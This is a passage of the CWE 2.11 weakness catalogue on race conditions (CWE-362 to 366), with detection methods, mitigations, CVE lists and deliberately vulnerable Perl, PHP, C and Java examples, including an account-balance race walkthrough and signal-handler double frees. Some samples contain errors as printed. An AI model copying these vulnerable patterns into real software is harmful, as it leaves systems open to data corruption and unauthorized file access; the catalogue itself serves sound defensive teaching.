When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

**Confidentiality**

**Integrity**

**Read files or directories**

**Read application data**

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

**Likelihood of Exploit**
- Medium

**Detection Methods**
CWE Version 2.11
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Black Box
Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box
Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
   Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
   Web Application Scanner
   Web Services Scanner
   Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Framework-based Fuzzer
Cost effective for partial coverage:
   Fuzz Tester
   Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
   Manual Source Code Review (not inspections)
Cost effective for partial coverage:
   Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architectural/Design Review**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

**Example 1:**
This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

**Perl Example:**

```perl
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
} else {
    $newbalance = $balance - $transfer_amount;
    if (($balance - $transfer_amount) < 0) {
        FatalError("Insufficient Funds");
    }
    SendNewBalanceToDatabase($newbalance);
    NotifyUser("Transfer of $transfer_amount succeeded.");
    NotifyUser("New balance: $newbalance");
}
```

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase(). Suppose the balance is initially 100.00. An attack could be constructed as follows:

**PseudoCode Example:**

```plaintext
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase(). Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.
```

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

**Example 2:**
The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:**

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-3970</td>
<td>Race condition in file parser leads to heap corruption.</td>
</tr>
<tr>
<td>CVE-2007-5794</td>
<td>Race condition in library function could cause data to be sent to the wrong process.</td>
</tr>
<tr>
<td>CVE-2007-6180</td>
<td>chain: race condition triggers NULL pointer dereference</td>
</tr>
<tr>
<td>CVE-2007-6599</td>
<td>Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.</td>
</tr>
<tr>
<td>CVE-2008-0058</td>
<td>Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.</td>
</tr>
<tr>
<td>CVE-2008-0379</td>
<td>Race condition during initialization triggers a buffer overflow.</td>
</tr>
<tr>
<td>CVE-2008-1570</td>
<td>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</td>
</tr>
<tr>
<td>CVE-2008-2958</td>
<td>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</td>
</tr>
<tr>
<td>CVE-2008-5021</td>
<td>chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.</td>
</tr>
<tr>
<td>CVE-2008-5044</td>
<td>Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.</td>
</tr>
<tr>
<td>CVE-2009-3547</td>
<td>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference.</td>
</tr>
<tr>
<td>CVE-2009-4895</td>
<td>chain: race condition for an argument value, possibly resulting in NULL dereference.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

**Use thread-safe capabilities such as the data access abstraction in Spring.**

**Architecture and Design**

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
CWE Version 2.11

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Implementation
When using multithreading and operating on shared variables, only use thread-safe functions.

Implementation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Implementation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td></td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td></td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td></td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>61</td>
<td>UNIX Symbolic Link (Symlink) Following</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>421</td>
<td>Race Condition During Access to Alternate Channel</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>C</td>
<td>557</td>
<td>Concurrency Issues</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td></td>
<td>635</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>662</td>
<td>Improper Synchronization</td>
<td></td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>RequiredBy</td>
<td></td>
<td>689</td>
<td>Permission Race Condition During Resource Copy</td>
<td>1000 1072</td>
</tr>
</tbody>
</table>

Research Gaps
Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO31-C</td>
<td>Race Conditions</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>VNA03-J</td>
<td>Do not simultaneously open the same file multiple times</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO31-CPP</td>
<td>Do not assume that a group of calls to independently atomic methods is atomic</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>CON02-CPP</td>
<td>Do not simultaneously open the same file multiple times</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Use lock classes for mutex management</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
</tr>
</tbody>
</table>

References

Maintenance Notes
The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
CWE-363: Race Condition Enabling Link Following

Weakness ID: 363 (Weakness Base)  Status: Draft

Description

Summary
The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

Extended Description
While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
This code prints the contents of a file if a user has permission.

PHP Example:

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    } else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>⬤</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>1000</td>
<td>91</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
<td>1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬤</td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td>888</td>
<td>1391</td>
</tr>
</tbody>
</table>

Relationship Notes
This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Race condition enabling link following</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS35-C</td>
<td>Avoid race conditions while checking for the existence of a symbolic link</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP20</td>
<td>Race Condition Window</td>
</tr>
</tbody>
</table>

References


CWE-364: Signal Handler Race Condition

<table>
<thead>
<tr>
<th>Weakness ID: 364 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software uses a signal handler that introduces a race condition.

Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of set jmp and long jmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C (Sometimes)
- C++ (Sometimes)

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Modify application data
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.

**Access Control**

- Gain privileges / assume identity

If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.

**Likelihood of Exploit**

- Medium

**Demonstrative Examples**

**Example 1:**
This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

```c
char *logMessage;
void handler (int sigNum) {
  syslog(LOG_NOTICE, "%s\n", logMessage);
  free(logMessage);
  /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
  sleep(10);
  exit(0);
}
int main (int argc, char* argv[]) {
  logMessage = strdup(argv[1]);
  return 0;
}
```
The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler"). SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable. At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.364.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:
The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

C Example:

```c
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *global1, *global2;
char *what;

void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}

int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}```
However, the following sequence of events may result in a double-free (CWE-415):
- a SIGHUP is delivered to the process
- sh() is invoked to process the SIGHUP
This first invocation of sh() reaches the point where global1 is freed
At this point, a SIGTERM is sent to the process
- the second invocation of sh() might do another free of global1
this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call
may use malloc calls which are not async-signal safe. This could cause corruption of the heap
management structures. For more details, consult the example within "Delivering Signals for Fun
and Profit" [R.364.1].

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0035</td>
<td>Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges</td>
</tr>
<tr>
<td>CVE-2001-0905</td>
<td>Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges</td>
</tr>
<tr>
<td>CVE-2001-1349</td>
<td>unsafe calls to library functions from signal handler</td>
</tr>
<tr>
<td>CVE-2004-0794</td>
<td>SIGURG can be used to remotely interrupt signal handler; other variants exist</td>
</tr>
<tr>
<td>CVE-2004-2259</td>
<td>handler for SIGCHLD uses non-reentrant functions</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Requirements**

**Language Selection**
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

**Architecture and Design**
- Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

**Implementation**
- Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>361</td>
<td>Time and State</td>
<td></td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>387</td>
<td>Signal Errors</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>415</td>
<td>Double Free</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>416</td>
<td>Use After Free</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td></td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>828</td>
<td>Signal Handler with Functionality that is not Asynchronous-Safe</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>831</td>
<td>Signal Handler Function Associated with Multiple Signals</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
<td>884</td>
</tr>
</tbody>
</table>

**Research Gaps**
Probably under-studied.

**Affected Resources**
- System Process

**Functional Areas**
- Signals, interprocess communication

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Signal handler race condition</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Signal Handling Race Conditions</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Race condition in signal handler</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP19</td>
<td>Missing Lock</td>
</tr>
</tbody>
</table>

**References**

---

**CWE-365: Race Condition in Switch**

**Weakness ID:** 365 (Weakness Base)

**Status:** Draft

**Description**

**Summary**
The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

**Extended Description**
This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

**Time of Introduction**
- Implementation

**Applicable Platforms**

<table>
<thead>
<tr>
<th>Languages</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
</tr>
<tr>
<td>C++</td>
</tr>
<tr>
<td>Java</td>
</tr>
<tr>
<td>.NET</td>
</tr>
</tbody>
</table>

**Common Consequences**

<table>
<thead>
<tr>
<th>Integrity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Other</td>
</tr>
<tr>
<td>Alter execution logic</td>
</tr>
<tr>
<td>Unexpected state</td>
</tr>
</tbody>
</table>

This weakness may lead to unexpected system state, resulting in unpredictable behavior.

**Likelihood of Exploit**
Medium

**Demonstrative Examples**
This example has a switch statement that executes different code depending on the current time.

**C/C++ Example:**

```c
#include <sys/types.h>
```

---
```c
#include <sys/stat.h>
int main(argc, argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh", sb);
    printf("%d\n", sb->st_ctime);
    switch(sb->st_ctime % 2){
    case 0: printf("One option\n");
         break;
    case 1: printf("another option\n");
         break;
    default: printf("huh\n");
         break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as `st_ctime % 2` should always be 0 or 1. However, if `st_ctime % 2` is 1 when the first case is evaluated, the time may change and `st_ctime % 2` may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

**Potential Mitigations**

**Implementation**

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

- **Mapped Taxonomy Name**: CLASP
  - **Node ID**: Race condition in switch
- **Mapped Taxonomy Name**: CERT C Secure Coding
  - **Node ID**: POS35-C
  - **Mapped Node Name**: Avoid race conditions while checking for the existence of a symbolic link
- **Mapped Taxonomy Name**: Software Fault Patterns
  - **Node ID**: SFP19
  - **Mapped Node Name**: Missing Lock

**References**


---

**CWE-366: Race Condition within a Thread**

**Weakness ID**: 366 *(Weakness Base)*

**Status**: Draft

**Description**

**Summary**

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C
- C++
- Java
Common Consequences

Integrity

Other

Alter execution logic

Unexpected state

The main problem is that -- if a lock is overome -- data could be altered in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```c
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

Java Example:

```java
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

Potential Mitigations

Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
